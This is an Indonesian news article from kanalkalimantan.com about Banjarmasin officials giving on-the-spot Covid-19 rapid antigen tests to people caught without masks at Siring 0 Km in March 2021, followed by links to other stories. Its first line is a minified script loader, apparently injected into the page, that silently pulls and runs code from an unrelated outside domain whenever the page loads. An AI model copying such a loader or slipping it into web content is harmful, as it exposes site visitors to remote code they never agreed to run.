(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Upaya menekan penyebaran Covid-19, Pemerintah Kota (Pemko) Banjarmasin, gencar melakukan penyuluhan dan rapid test antigen di tempat-tempat yang berpotensi berkumpulnya orang banyak.
Pengunjung Siring 0 Km Kota Banjarmasin menjadi target sasaran. Didampingi pihak aparat Kepolisian dan TNI, tenaga medis melakukan rapid test langsung di tempat, Minggu (21/3/2021) pagi.
Pantauan kanalkalimantan.com, terlihat para petugas Polisi, TNI dan Satpol PP, mengamankan para pejalan kaki dan pengendara yang melintas dan tidak menggunakan masker.
Irfan (35), salah satu warga yang kedapatan tidak menggunakan masker di kawasan Siring 0 Km, kepada Kanalkalimantan.com mengatakan, tidak tahu kalau ada kegiatan ini. Ia mengaku sempat gugup saat ingin ditest menggunakan alat rapid test.
“Ya waktu tahu hasilnya negatif, baru saya merasa lega,” ujar Irfan usai menjalani rapid test antigen di tempat.
“Tadi kelupaan maskernya, soalnya gak biasa pakai masker, agak susah bernafasnya,” tambah Irfan saat ditanyakan alasan tidak menggunakan masker.
Baca juga: Teken Kontrak Satu Tahun, PKL Subuh Uji Coba 1 Bulan Jualan di Eks Hero Swalayan
Sementara itu, Kepala Dinas Kesehatan (Dinkes) Kota Banjarmasin, Machli, kepada Kanalkalimantan.com mengatakan, kalau kegiatan kali ini adalah salah satu upaya pemerintah menekan angka penyebaran Covid-19.
“Kegiatan kali ini, kita akan memantau warga yang melintas, dan apabila ada yang kedapatan tidak menggunakan masker, akan kita amankan dan kita colok hidungnya menggunakan rapid test antigen, untuk memastikan postitf atau negatif,” ujar Machli, kepada Kanalkalimantan.com.
Kegiatan ini bertujuan untuk, mendisiplinkan masyarakat, agar apabila keluar rumah, wajib menggunakan masker dan prokes lainnya.
Apabila dalam kegiatan ini, ditemukan warga yang positif terpapar Covid-19, maka warga tersebut akan diisolasi mandiri dan akan diawasi secara ketat.
Machli juga mengungkapkan, untuk kegiatan kali ini, akan menargetkan kurang lebih sekitar 50 sampel atau 50 orang yang akan ditest menggunakan rapid test antigen.
“Untuk targetnya, kita pilih secara acak dan yang pastinya yang tidak menggunakan masker atau tidak mematuhi prokes yang berlaku,” ucapnya.
Machli menghimbau kepada warga yang sedang beraktivitas di Siring 0 Km dan seluruh masyarakat agar tetap mematuhi semua protokol kesehatan. (kanalkalimantan.com/tius)
Reporter: tius
Editor : bie
KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
This website uses cookies.